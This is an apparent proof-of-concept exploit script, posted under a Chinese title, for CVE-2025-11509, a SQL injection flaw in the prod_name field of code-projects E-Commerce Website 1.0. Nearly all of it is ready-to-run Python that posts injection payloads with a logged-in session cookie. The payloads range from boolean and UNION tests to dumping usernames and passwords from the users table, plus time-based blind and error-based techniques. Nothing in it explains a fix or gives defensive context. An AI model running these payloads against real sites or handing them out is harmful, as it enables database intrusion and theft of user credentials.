CVE-2025-11509：code-projects E-Commerce Website SQL注入漏洞

# CVE-2025-11509 SQL Injection PoC # Target: code-projects E-Commerce Website 1.0 # Vulnerable file: /pages/product_add.php # Vulnerable parameter: prod_name import requests # Configuration TARGET_URL = "http://target.com/pages/product_add.php" COOKIES = { "PHPSESSID": "your_session_id_here" # Low privilege authenticated session } def exploit_sqli(target_url, cookies, payload): """ Exploit SQL injection in prod_name parameter """ data = { "prod_name": payload, # Add other required form fields here "prod_price": "100", "prod_desc": "test", "category": "1", "submit": "Add Product" } headers = { "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0" } try: response = requests.post( target_url, data=data, cookies=cookies, headers=headers, timeout=10 ) return response.text except requests.exceptions.RequestException as e: print(f"Request failed: {e}") return None # Example payloads for SQL injection payloads = [ # Basic SQL injection test "test' OR '1'='1", # UNION-based injection to extract data "test' UNION SELECT 1,2,3,4,5-- -", # Extract database version "test' UNION SELECT @@version,2,3,4,5-- -", # Extract username and password "test' UNION SELECT username,password,3,4,5 FROM users-- -", # Time-based blind injection "test' AND SLEEP(5)-- -", # Error-based injection "test' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT database()),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)-- -" ] if __name__ == "__main__": for payload in payloads: print(f"\n[*] Testing payload: {payload}") result = exploit_sqli(TARGET_URL, COOKIES, payload) if result: print(f"[+] Response length: {len(result)}") # Check for SQL errors or data leakage if "error" in result.lower() or "warning" in result.lower(): print("[!] Possible SQL error detected") print(result[:500]) # Print first 500 chars of response